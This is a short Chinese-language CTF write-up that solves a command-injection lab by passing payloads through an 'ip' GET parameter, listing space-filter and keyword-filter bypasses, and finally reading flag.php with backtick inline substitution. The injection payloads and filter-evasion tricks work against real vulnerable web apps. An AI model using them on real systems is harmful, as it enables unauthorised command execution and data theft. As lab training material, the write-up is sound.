知识点

  • RCE代码执行
  • 内联绕过

启动靶机

1.打开题目,提示get传参

image.png

2.尝试代码执行

  1. /?ip=|whoami

image.png

3.ls查看当前目录下的文件

  1. /?ip=|ls

image.png

4.看到flag.php,尝试读取

  1. /?ip=|cat flag.php

image.png
空格被过滤

5.尝试绕过空格过滤

绕过空格过滤的方法:

  1. ${IFS}替换
  2. $IFS$1替换
  3. ${IFS替换
  4. %20替换
  5. %0a (回车)
  6. %09 (tab)
  7. <和<>重定向符替换

经过测试发现$IFS$1可以绕过空格过滤。

于是再次尝试读取flag:

  1. |cat$IFS$1flag.php

image.png
依然读取失败,flag关键字被过滤

6.尝试绕过关键字过滤

绕过关键字过滤的方法:

  1. 单引号、双引号绕过 ca"t fl''ag
  2. 反斜线绕过 ca\t fl\ag
  3. $1、$2等和 $@绕过 c$1at f$@lag.txt

都无法绕过

7.最后尝试内敛绕过

内联绕过:

  1. 将反引号内命令的输出作为输入执行
  2. ?ip=|cat$IFS$1`ls`

执行成功,看到过滤规则

  1. ?ip=|cat$IFS$1`ls`

image.png
查看源码,得到flag:
image.png

其他方法:
image.png